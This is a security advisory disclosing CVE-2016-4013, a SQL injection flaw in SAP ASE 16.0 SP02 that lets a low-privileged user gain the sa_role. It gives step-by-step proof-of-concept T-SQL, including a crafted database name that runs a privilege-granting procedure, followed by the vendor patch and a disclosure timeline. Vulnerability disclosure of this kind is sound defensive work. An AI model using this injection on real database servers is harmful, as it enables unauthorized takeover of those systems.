Trustwave SpiderLabs Security Advisory TWSL2016-008:
SQL injection vulnerability in SAP ASE

Published: 05/09/2016 
Version: 1.0

Vendor: SAP (www.sap.com)
Product: Adaptive Server Enterprise 16.0
Version affected: 16.0 SP02

Product description:
Relational database management system for Linux, UNIX, Windows.

Finding 1: SQL injection vulnerability in CREATE/ALTER DATABASE DSAM support logic
Credit: Martin Rakhmanov of Trustwave
CVE: CVE-2016-4013

SAP ASE 16.0 SP02 introduced feature called Data Store Access Management 
(DSAM). As a result, CREATE/ALTER DATABASE statements have been modified to do 
additional processing for DSAM. Specifically, they try to add specially named 
segments if DSAM is configured. There is a flaw in these statements' 
implementation allowing low privileged users embed T-SQL code that will be 
executed elevated resulting in complete server takeover. This 
attack requires DSAM being configured and certain privileges granted to the 
attacker, namely CREATE DATABASE and CREATE PROCEDURE as well as device with 
certain DSAM class as shown in proof-of-concept code below.

As DBA, install the sybdsamdb database. Then add a user and grant initial 
privileges:

1> create login joe with passwd <...>
2> go
1> sp_adduser joe
2> go
New user added.
(return status = 0)
1> grant create database to joe
2> go
1> grant create procedure to joe
2> go

As DBA, create device and set its class to some value from DSAMDeviceClasses:

1> disk init name = 'm2', physname = <...>, size='10M'
2> go
1> exec sybdsamdb..dsam_set_device_class 'm2', 'HI'
2> go
Device 'm2' class changed from 'NULL' to 'HI'.
(return status = 0)
1> quit


As attacker create procedure and database:
1> create procedure u as grant role sa_role to joe
2> go

1> create database [a, m2 exec master.joe.u--] on m2
2> go

Internally the server will execute SQL:

exec sp_addsegment DSAM_device_class_HI, a, m2 exec master.joe.u--, m2

Reconnect as 'joe' and examine roles granted via sp_displayroles.

Remediation Steps:
Apply the SAP ASE 16.0 SP02 PL03 vendor supplied patch.

Revision History:
12/02/2015 - Vulnerability disclosed to vendor
04/12/2016 - Patch released by vendor
05/09/2016 - Advisory published

References
1. https://websmp230.sap-ag.de/sap/support/notes/2294689

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